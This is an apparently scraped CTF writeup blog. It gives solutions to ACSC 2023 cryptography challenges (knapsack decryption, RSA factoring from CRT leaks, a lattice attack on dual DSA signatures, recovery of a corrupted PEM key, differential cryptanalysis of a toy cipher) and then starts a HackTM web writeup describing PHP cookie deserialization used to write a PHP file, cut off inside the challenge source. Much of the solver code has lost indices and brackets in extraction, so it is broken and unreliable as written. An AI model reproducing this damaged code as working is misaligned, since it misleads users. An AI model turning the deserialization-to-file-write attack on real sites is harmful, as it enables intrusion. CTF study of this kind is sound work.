Finished 8th in ACSC Quals 2023. Solved all cryptography challenges and warmup rev. I had a alumni meetup with NEXON Youth Programming Challenge award winners, so I went home at like 9PM with a beer and sangria inside me.

(Here, sangria is not the recent folding scheme for PLONK from Geometry Research)

Kinda gave up on the whole ACSC thing until it was around midnight, then I saw that I could make it if I solve all cryptography challenges.

So I hurried to do so and finished around 5:30AM, then solved the warmup rev. Turns out that this was a good idea.

### Merkle-Hellman

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #!/usr/bin/env python3 import random import binascii   def egcd(a, b):     if a == 0:         return (b, 0, 1)     else:         g, y, x = egcd(b % a, a)         return (g, x - (b // a) * y, y)   def modinv(a, m):     g, x, y = egcd(a, m)     if g != 1:         raise Exception('modular inverse does not exist')     else:         return x % m   def gcd(a, b):      if a == 0:          return b      return gcd(b % a, a)    flag = open("flag.txt","rb").read() # Generate superincreasing sequence w = [random.randint(1,256)] s = w for i in range(6):     num = random.randint(s+1,s+256)     w.append(num)     s += num   # Generate private key total = sum(w) q = random.randint(total+1,total+256) r = 0 while gcd(r,q) != 1:     r = random.randint(100, q)   # Calculate public key b = [] for i in w:     b.append((i * r) % q)   # Encrypting c = [] for f in flag:     s = 0     for i in range(7):         if f & (64>>i):             s += b[i]     c.append(s)   print(f"Public Key = {b}") print(f"Private Key = {w,q}") print(f"Ciphertext = {c}")   # Output: # Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084] # Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) # Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] cs

This is a knapsack-based cryptosystem, and we know practically everything here. Just decrypt it.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from sage.all import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long    pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084] sk = [184, 332, 713, 1255, 2688, 5243, 10448] q = 20910 ctxt = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]     df = sk * inverse(pk, q)   res = b""   for c in ctxt:     c = (c * df) % q      f = 0     for i in range(6, -1, -1):         if c >= sk[i]:             f += (1 << (6 - i))             c -= sk[i]     res += bytes([f])   print(res)   Colored by Color Scripter cs

### Check Number 63

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import * import gmpy2 from flag import *   f = open("output.txt","w")   f.write(f"n = {n}\n")   while e < 66173:   d = inverse(e,(p-1)*(q-1))   check_number = (e*d - 1) // ( (p-1)*(q-1) )   f.write(f"{e}:{check_number}\n")   assert (e*d - 1) % ( (p-1)*(q-1) ) == 0   e = gmpy2.next_prime(e)    f.close()     Colored by Color Scripter cs

We have $n$ alongside 63 pairs of $(e, k)$ where $$ed = k \phi(n) + 1$$ The goal is to factor $n$. First, the central idea is to note that $$k \phi(n) + 1 \equiv 0 \pmod{e}$$ so we recover $$\phi(n) \equiv - k^{-1} \pmod{e}$$ Combined with CRT, this gives us $$\phi(n) \pmod{ \prod e}$$ which is around $63 * 16 = 1008$ bits of information. Meanwhile, we since $$\phi(n) = n + 1 - (p + q)$$ we have a 1025 bit range for $\phi(n)$. We can easily brute-force all possible values of $\phi(n)$, then recover $p, q$ from $n, \phi(n)$.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from sage.all import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long    # ed = k phi(n) + 1 # k phi(n) + 1 == 0 mod e # phi(n) == -k^-1 mod e   n = # given number here   def iroot(v, r):     return Integer(v).nth_root(r, truncate_mode=False)   tt = open("output.txt", "r") tt = tt.readlines()   vals = [] mods = []   for l in tt:     wow = l.split(":")     e = int(wow)     res = int(wow)     vals.append(int(e - inverse(res, e)))     mods.append(e)   cc = int(prod(mods))   phi_cc = int(CRT(vals, mods))   for l in tt:     wow = l.split(":")     e = int(wow)     res = int(wow)     assert (phi_cc * res + 1) % e == 0   from tqdm import tqdm   for i in tqdm(range(1 << 20)):     tot = int((n - phi_cc + 1) % cc)     tot += i * cc     phi = n - tot + 1     assert phi % cc == phi_cc      try:         p = (tot - iroot(tot * tot - 4 * n, 2)) // 2         q = tot - p         assert p < q          assert p * q == n         print(p, q)         from hashlib import sha512         flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"          print(flag)     except:         pass             Colored by Color Scripter cs

### Dual Signature Algorithm

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import os from hashlib import sha256 from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse     flag = os.environ.get("FLAG", "neko{cat_are_the_most_powerful_beings_in_fact}")     def h(m: bytes) -> int:     return int(sha256(m).hexdigest(), 16)     def gen_prime():     while True:         q = getPrime(520)         p = 2*q + 1         if isPrime(p):             return p, q     p1, q1 = gen_prime() p2, q2 = gen_prime()   if q1 > q2:     (p1, q1), (p2, q2) = (p2, q2), (p1, q1)   x = int((os.urandom(512 // 8 - len(flag) - 1) + flag.encode()).hex(), 16) g = 4 y1 = pow(g, x, p1) y2 = pow(g, x, p2)     def sign(m: bytes):     z = h(m)     k = getRandomNBitInteger(512)     r1 = pow(g, k, p1)     r2 = pow(g, k, p2)     s1 = inverse(k, q1) * (z + r1*x) % q1     s2 = inverse(k, q2) * (z + r2*x) % q2       return (r1, s1), (r2, s2)     def verify(m: bytes, sig1, sig2):     z = h(m)     r1, s1 = sig1     r2, s2 = sig2       s1inv = inverse(s1, q1)     s2inv = inverse(s2, q2)     gk1 = pow(g, s1inv*z, p1) * pow(y1, s1inv*r1, p1) % p1     gk2 = pow(g, s2inv*z, p2) * pow(y2, s2inv*r2, p2) % p2       return r1 == gk1 and r2 == gk2     m = b"omochi mochimochi mochimochi omochi" sig1, sig2 = sign(m)   print(f"g = {g}") print(f"p1, p2 = {p1}, {p2}") print(f"y1, y2 = {y1}, {y2}")   print(f"m = {m}") print(f"r1, s1 = {sig1}") print(f"r2, s2 = {sig2}")   Colored by Color Scripter cs

I overcomplicated this problem way too much - the easier solution is combining the two signature schemes via CRT then LLL.

I tried some straightforward lattices without the CRT idea, but it didn't give me the answer. Here's my solution.

Start with the equations $$ks_1 = z + r_1x + c_1q_1, \quad ks_2 = z + r_2x + c_2q_2$$ where $c_1, c_2$ each have absolute values of at most something like $2^{515}$. We'll cancel out the $k$ in the equations to get $$s_2(z + r_1x + c_1q_1) = s_1(z+ r_2x + c_2q_2)$$ or $$(s_2r_1 - s_1r_2)x = (s_1 - s_2)z + (s_1q_2) c_2 - (s_2q_1) c_1$$ This gives us a system - we want $$-2^{515} \le c_1, c_2 \le 2^{515}$$ as well as the linear equation $$(s_1q_2) c_2 \equiv (s_2q_1) c_1 + (s_2 - s_1)z \pmod{s_2r_1 - s_1r_2}$$ While there are some GCD issues like $\gcd(s_1q_2, s_2r_1 - s_1r_2) = 2 \neq 1$, in essence this is the same type of problem as $$S \le c_1 \le E, \quad L \le Ax + B \bmod{M} \le R$$ which is the exact task that the special case of my CVP repository solves. After getting $c_1, c_2$, the rest is easy linear equation.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 def ceil(n, m): # returns ceil(n/m)     return (n + m - 1) // m   def is_inside(L, R, M, val): # is L <= val <= R in mod M context?     if L <= R:         return L <= val <= R     else:         R += M         if L <= val <= R:             return True         if L <= val + M <= R:             return True          return False   def optf(A, M, L, R): # minimum nonnegative x s.t. L <= Ax mod M <= R     if L == 0:         return 0     if 2 * A > M:         L, R = R, L         A, L, R = M - A, M - L, M - R     cc_1 = ceil(L, A)     if A * cc_1 <= R:         return cc_1     cc_2 = optf(A - M % A, A, L % A, R % A)     return ceil(L + M * cc_2, A)   # check if L <= Ax (mod M) <= R has a solution def sol_ex(A, M, L, R):     if L == 0 or L > R:         return True     g = GCD(A, M)     if (L - 1) // g == R // g:         return False     return True   ## find all solutions for L <= Ax mod M <= R, S <= x <= E: def solve(A, M, L, R, S, E):     # this is for estimate only : if very large, might be a bad idea to run this     print("Expected Number of Solutions : ", ((E - S + 1) * (R - L + 1)) // M + 1)     if sol_ex(A, M, L, R) == False:         return []     cur = S - 1     ans = []     num_sol = 0     while cur <= E:         NL = (L - A * (cur + 1)) % M         NR = (R - A * (cur + 1)) % M         if NL > NR:             cur += 1         else:             val = optf(A, M, NL, NR)             cur += 1 + val         if cur <= E:             ans.append(cur)             # remove assert for performance if needed             assert is_inside(L, R, M, (A * cur) % M)             num_sol += 1     print("Actual Number of Solutions : ", num_sol)     return ans   q1 = (p1 - 1) // 2 q2 = (p2 - 1) // 2   det_v = abs(s2 * r1 - s1 * r2)   md_2 = s1 * q2  md_1 = s2 * q1    z = (h(m) * (s2 - s1)) % det_v   print(z % 2) # 0 print(md_1 % 2) # 1 print(md_2 % 2) # 0   md_2 //= 2 det_v //= 2  z //= 2   A = (md_1 * inverse(md_2, det_v)) % (det_v) B = (z * inverse(md_2, det_v)) % det_v    BOUND = 1 << 515   print(det_v)   pepega = solve(A, det_v, det_v -BOUND - B, det_v + BOUND - B, -BOUND, BOUND)   print(len(pepega))   c_1 = int(pepega * 2) c_2 = int((md_1 * (c_1 // 2) + z) * inverse(md_2, det_v) % det_v) if c_1 > BOUND:     c_1 -= det_v if c_2 > BOUND:     c_2 -= det_v   print(abs(c_1) < BOUND) print(abs(c_2) < BOUND)   LHS = s2 * h(m) - s1 * h(m) + s2 * c_1 * q1 - s1 * c_2 * q2  RHS = s1 * r2 - s2 * r1  x = LHS // RHS  print(LHS % RHS) print(long_to_bytes(x))   Colored by Color Scripter cs

### Corrupted

We are given a broken PEM file that looks like the following.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD 1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN 3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g ?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W??? ????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1? X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i ?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m ?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0 ?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY? 3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq? ????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT? eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i?? ?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???- Colored by Color Scripter cs

We need to recover the full PEM key. The solution is really hands-on, and it needs some grinding.

The PEM decoding algorithm is in pycryptodome - basically, it's just a DER decoding. So how does DER decoding work?

By following the DER implementation in pycryptodome alongside with some debugging, it's basically as follows.

• 1 byte is consumed as the octet. Not sure what this does.
• Then, 1 byte is consumed as the length $l$. If $l \le 127$, then this is the final length.
• If $l \ge 128$, then the next $l \pmod{128}$ bytes in big endian represent the final length.
• The "final length" bytes worth of data, in big endian, is the pushed data.

However, the very first "final length" is actually the full length, so this one should be skipped.

Also, we quickly note that

• By comparing lengths, it can be seen that this file is based on 2048 bit RSA.
• In this case, the PEM file has a linebreak every 64 characters. Based on this, we can remove some "?" to linebreaks.
• The first step is to base64 decode the lines between the first and the last ones. By randomly selecting one of 64 choices for each "?" and decoding it multple times, we can figure out which bits in the decoded data are known, and which bits in the decoded data are the ones from the "?"s. This is useful when patching important "?"s so that the length informations makes sense.

The main part is to patch everything so that the length informations makes sense. Since the datasets are $n, e, d, p, q, d_p, d_q, u$ in order, just try every patch that makes sense and does not affect the bits that are actually known. Decoding an actual 2048 bit RSA PEM helps.

In the end, we'll have the full $n, e$ and some bits of $p, q, d_p, d_q, u$. However, $u$ is not needed here.

The rest is relatively well-known - you set up an equation $$pq = n, \quad ed_p = k_p(p-1) + 1, \quad ed_q = k_q(q-1) + 1$$ and solve this equation modulo powers of 2 iteratively. To do so, you need to fix $k_p, k_q$ - it turns out that there are $\mathcal{O}(e)$ possible pairs of $(k_p, k_q)$, so you can try out all candidates. For example, see [HS09]. There is also my challenge "RSA Hex Permutation".

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from sage.all import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long  from hashlib import sha256  from base64 import b64decode import string  import random as rand    raw_pem = open("meme.pem", "rb").read()     ST = b"-----BEGIN RSA PRIVATE KEY-----\n" EN = b"\n-----END RSA PRIVATE KEY-----" raw_pem = raw_pem[len(ST): -len(EN)] print(raw_pem)   meme = (string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/=\n").encode()   print(len(raw_pem))     def gen_copy(lmao):     ret = b""     for l in lmao:         ret += bytes([l])     for i in range(len(ret)):         if ret[i] not in meme:             sel = rand.randint(0, 63)             ret = ret[:i] + bytes([meme[sel]]) + ret[i + 1: ]     return ret   recovered = b64decode(gen_copy(raw_pem))   print(len(recovered))   EQ =  * (len(recovered) * 8)   for trial in range(50):     raw_pem_new = b64decode(gen_copy(raw_pem))     for j in range(len(recovered)):         for k in range(8):             if ((recovered[j] >> (7 - k)) & 1) != ((raw_pem_new[j] >> (7 - k)) & 1):                 EQ[8 * j + k] = 0   def get_eq(l, r):     print("EQ", l, r, EQ[8 * l : 8 * r])   def patch(org, l, r, patch):     return org[:l] + bytes(patch) + org[r:]   # patch   # for e recovered = patch(recovered, 272, 273, ) # for d length recovered = patch(recovered, 275, 277, [1, 1]) # either [1, 0] or [1, 1] # for p length recovered = patch(recovered, 535, 537, [129, 129]) # for d mod p - 1 recovered = patch(recovered, 799, 800, ) # for d mod q - 1 recovered = patch(recovered, 930, 932, [129, 128]) # for u recovered = patch(recovered, 1061, 1062, )   cur = 0 vals = [] for i in range(10):     print("START", i, cur)     print("octet", cur, recovered[cur])     cur += 1     l = recovered[cur]     print("[+] length heat check", l, cur)     get_eq(cur, cur + 1)     cur += 1     if l > 127:         tt = l & 0x7F         real_l = bytes_to_long(recovered[cur:cur+tt])         print("[+] real length")         get_eq(cur, cur + tt)         print(recovered[cur:cur+tt])         print(real_l, "at range", cur, cur+tt)         cur += tt     else:         real_l = l     if i == 0:         continue      print("[+] data", recovered[cur:cur+real_l])     get_eq(cur, cur + real_l)     val = bytes_to_long(recovered[cur:cur+real_l])     print("[+] appended", val)     vals.append(val)     cur += real_l    print(vals)   Colored by Color Scripter cs

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 n = data e = data d_val = data p_val = data q_val = data d_p_val = data d_q_val = data   k_p, k_q = 0, 0   import sys sys.setrecursionlimit(10 ** 6)     def work(ps, qs, dps, dqs, cur):     if cur == 1028:         return          nxtps = []     nxtqs = []     nxtdps = []     nxtdqs = []       if cur > 950 and len(ps) == 1:         # print(ps, cur)         if n % ps == 0:             print("WOW!!!")     if len(ps) == 0:         return       for p, q, dp, dq in zip(ps, qs, dps, dqs):         if cur >= 1000:             if n % p == 0:                 print(p)                 print(n // p)           if cur == 1028:             continue                  for pi in range(2):             if p_conf[-1-cur] == 1 and ((p_val >> cur) & 1) != pi:                 continue             new_p = p + (pi << cur)             for qi in range(2):                 if q_conf[-1-cur] == 1 and ((q_val >> cur) & 1) != qi:                     continue                 new_q = q + (qi << cur)                 for dpi in range(2):                     if d_p_conf[- 1 - cur] == 1 and ((d_p_val >> cur) & 1) != dpi:                         continue                      new_dp = dp + (dpi << cur)                     for dqi in range(2):                         if d_q_conf[-1 - cur] == 1 and ((d_q_val >> cur) & 1) != dqi:                             continue                          new_dq = dq + (dqi << cur)                         A = abs(n - new_p * new_q)                         B = abs(e * new_dp - k_p * (new_p - 1) - 1)                         C = abs(e * new_dq - k_q * (new_q - 1) - 1)                         if ((A >> cur) & 1) != 0:                             continue                         if ((B >> cur) & 1) != 0:                             continue                          if ((C >> cur) & 1) != 0:                             continue                         nxtps.append(new_p)                         nxtqs.append(new_q)                         nxtdps.append(new_dp)                         nxtdqs.append(new_dq)       work(nxtps, nxtqs, nxtdps, nxtdqs, cur + 1)   from tqdm import tqdm    for idx in tqdm(range(1, e)):     if (idx * (n - 1) + 1) % e == 0:         continue      k_p = idx      k_q = ((1 - k_p) * inverse(k_p * n - k_p + 1, e)) % e     work(, , , , 0) Colored by Color Scripter cs

### SusCipher

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 #!/usr/bin/env python3 import hashlib import os import signal     class SusCipher:     S = [         43,  8, 57, 53, 48, 39, 15, 61,          7, 44, 33,  9, 19, 41,  3, 14,         42, 51,  6,  2, 49, 28, 55, 31,          0,  4, 30,  1, 59, 50, 35, 47,         25, 16, 37, 27, 10, 54, 26, 58,         62, 13, 18, 22, 21, 24, 12, 20,         29, 38, 23, 32, 60, 34,  5, 11,         45, 63, 40, 46, 52, 36, 17, 56     ]       P = [         21,  8, 23,  6,  7, 15,         22, 13, 19, 16, 25, 28,         31, 32, 34, 36,  3, 39,         29, 26, 24,  1, 43, 35,         45, 12, 47, 17, 14, 11,         27, 37, 41, 38, 40, 20,          2,  0,  5,  4, 42, 18,         44, 30, 46, 33,  9, 10     ]       ROUND = 3     BLOCK_NUM = 8     MASK = (1 << (6 * BLOCK_NUM)) - 1       @classmethod     def _divide(cls, v: int) -> list[int]:         l: list[int] = []         for _ in range(cls.BLOCK_NUM):             l.append(v & 0b111111)             v >>= 6         return l[::-1]       @staticmethod     def _combine(block: list[int]) -> int:         res = 0         for v in block:             res <<= 6             res |= v         return res       @classmethod     def _sub(cls, block: list[int]) -> list[int]:         return [cls.S[v] for v in block]       @classmethod     def _perm(cls, block: list[int]) -> list[int]:         bits = ""         for b in block:             bits += f"{b:06b}"           buf = ["_" for _ in range(6 * cls.BLOCK_NUM)]         for i in range(6 * cls.BLOCK_NUM):             buf[cls.P[i]] = bits[i]           permd = "".join(buf)         return [int(permd[i : i + 6], 2) for i in range(0, 6 * cls.BLOCK_NUM, 6)]       @staticmethod     def _xor(a: list[int], b: list[int]) -> list[int]:         return [x ^ y for x, y in zip(a, b)]       def __init__(self, key: int):         assert 0 <= key <= self.MASK           keys = [key]         for _ in range(self.ROUND):             v = hashlib.sha256(str(keys[-1]).encode()).digest()             v = int.from_bytes(v, "big") & self.MASK             keys.append(v)           self.subkeys = [self._divide(k) for k in keys]       def encrypt(self, inp: int) -> int:         block = self._divide(inp)           block = self._xor(block, self.subkeys)         for r in range(self.ROUND):             block = self._sub(block)             block = self._perm(block)             block = self._xor(block, self.subkeys[r + 1])           return self._combine(block)       # TODO: Implement decryption     def decrypt(self, inp: int) -> int:         raise NotImplementedError()     def handler(_signum, _frame):     print("Time out!")     exit(0)     def main():     signal.signal(signal.SIGALRM, handler)     signal.alarm(300)     key = int.from_bytes(os.urandom(6), "big")       cipher = SusCipher(key)       while True:         inp = input("> ")           try:             l = [int(v.strip()) for v in inp.split(",")]         except ValueError:             print("Wrong input!")             exit(0)           if len(l) > 0x100:             print("Long input!")             exit(0)           if len(l) == 1 and l == key:             with open('flag', 'r') as f:                 print(f.read())           print(", ".join(str(cipher.encrypt(v)) for v in l))     if __name__ == "__main__":     main()   Colored by Color Scripter cs

This is a 3-round block cipher, and a hint is given - use differential cryptanalysis.

Let's find some easy differentials. We collect the $((i \oplus j)[u], (S_i \oplus S_j)[v])$ and see how it behave - and it turns out that the bias is noticeable. We can keep track of an array $pos$, where $pos_i$ denotes the bit location where the original $i$th bit is the most correlated to it.

In the current state, there are 3 S-box applications, so the bias will decrease over those 3 S-boxes. However, if we know a key chunk, for example, the first 6 bits, then the first key addition and the S-box application can be computed directly, so in reality we are only going through 2 S-boxes. Therefore, the correlation between the state just after the first S-box and the encrypted state will be much greater.

We can now brute force all 64 possibilities for all 8 key chunks. 20K random encryptions are enough to reliably find the key.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 from pwn import *  import os    S = [         43,  8, 57, 53, 48, 39, 15, 61,          7, 44, 33,  9, 19, 41,  3, 14,         42, 51,  6,  2, 49, 28, 55, 31,          0,  4, 30,  1, 59, 50, 35, 47,         25, 16, 37, 27, 10, 54, 26, 58,         62, 13, 18, 22, 21, 24, 12, 20,         29, 38, 23, 32, 60, 34,  5, 11,         45, 63, 40, 46, 52, 36, 17, 56     ]   P = [         21,  8, 23,  6,  7, 15,         22, 13, 19, 16, 25, 28,         31, 32, 34, 36,  3, 39,         29, 26, 24,  1, 43, 35,         45, 12, 47, 17, 14, 11,         27, 37, 41, 38, 40, 20,          2,  0,  5,  4, 42, 18,         44, 30, 46, 33,  9, 10     ]   def get_bit(res, w):     return (res >> (5 - w)) & 1     bits = [[[0, 0, 0, 0] for _ in range(6)] for _ in range(6)]   for i in range(64):     for j in range(64):         # i ^ j => Si ^ Sj          for u in range(6):             for v in range(6):                 t1 = get_bit(i ^ j, u)                 t2 = get_bit(S[i] ^ S[j], v)                 bits[u][v][2 * t1 + t2] += 1     mx = 0 for i in range(6):     print("[+]", i)     mx_j = 0     for j in range(6):         mx_j = max(mx_j, bits[i][j])     print(mx_j)     for j in range(6):         if bits[i][j] == mx_j:             print(j)     sub_loc = [5, 0, 1, 1, 0, 5]     def track_sub(pos):     ret =  * 48     for i in range(48):         loc = pos[i] // 6         md = pos[i] % 6         ret[i] = 6 * loc + sub_loc[md]     return ret   def track_perm(pos):     ret =  * 48     for i in range(48):         ret[i] = P[pos[i]]     return ret   full_enc = [i for i in range(48)] for i in range(3):     full_enc = track_sub(full_enc)     full_enc = track_perm(full_enc)   part_enc = [i for i in range(48)] part_enc = track_perm(part_enc) for i in range(2):     part_enc = track_sub(part_enc)     part_enc = track_perm(part_enc)   plaintexts = [int.from_bytes(os.urandom(6), "big") for _ in range(256 * 80)]   l = []   for i in range(80):     st = ""     for j in range(256):         st += str(plaintexts[256 * i + j])         if j != 255:             st += ","     l.append(st)     conn = remote("suscipher.chal.ctf.acsc.asia", 13579)   conn.sendlines(l)   results = conn.recvlines(80)   enc = []   for i in range(80):     encs = results[i][2:].split(b",")     assert len(encs) == 256     for j in range(256):         enc.append(int(encs[j]))     key = 0   for i in range(8):     res = [[0 for _ in range(6)] for _ in range(64)]     fin =  * 64       dat_eq = 0     tot = 0          for idx in range(len(enc)):         plaintext = plaintexts[idx]         ciphertext = enc[idx]           ptxt_block = (plaintext >> (6 * (7 - i))) & 63         for loc in range(6):             for k in range(64):                 bit_org = (S[k ^ ptxt_block] >> (5 - loc)) & 1                 bit_res = (ciphertext >> (47 - part_enc[6 * i + loc])) & 1                 if bit_org == bit_res:                     res[k][loc] += 1       for idx in range(64):         for u in range(6):             fin[idx] += abs(res[idx][u] - len(enc) // 2)       v = 0     for idx in range(64):         v = max(v, fin[idx])          ans = 0     for idx in range(64):         if v == fin[idx]:             ans = idx       key += (ans << (6 * (7 - i)))   conn.sendline(str(key).encode()) print(conn.recvline())         Colored by Color Scripter cs

### Serverless

Basically, the encryption system works as follows.

• Select one prime $p$ from a fixed array
• Select one prime $q$ from a fixed array
• Select $0 \le s \le 4$ and choose $e = 2^{2^s} + 1$
• Textbook RSA encrypt data, little-endian it, append some values ($s$ and the indexes for $p, q$)
• XOR the password, reverse the data, then base64 encode it

As we know the fixed array of primes and the password, the decryption is easy.

#### 'CTF' 카테고리의 다른 글

HackTM CTF Writeup  (0) 2023.02.22 2022.11.21 2022.11.09 2022.09.19 2022.09.19

I participated as rkm0959_test and somehow got 10th place. Initially wanted to take a brief look at the cryptography challs, ended up calling two friends and managed to clinch finals. Not sure if I'll be over there, though. Need to decide... Brief writeups, as I'm tired.

For the challenges, see https://hackmd.io/@y011d4/rJfWwERTj

Also need to upsolve the cryptography challenges. A lot of stuff to do...

### Web - Blog

The solver tells me that there is a unserialize vulnerability in cookies, so change the db path of sqlite and create a php file.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 title = $title;$this->content = $content; } public function __toString() {$comments = $this->comments; // comments are bugged for now, but in future it might be re-implemented // when it is, just append$comments_fallback to $out if ($comments !== null) {             $comments_fallback =$this->$comments; }$conn = new Conn;         $conn->queries = array(new Query( "select id from posts where title = :title and content = :content", array(":title" =>$this->title, ":content" => $this->content) ));$result = $conn(); if ($result === false) {             return "";         } else {             return "                               {$this->title} {$this->content}

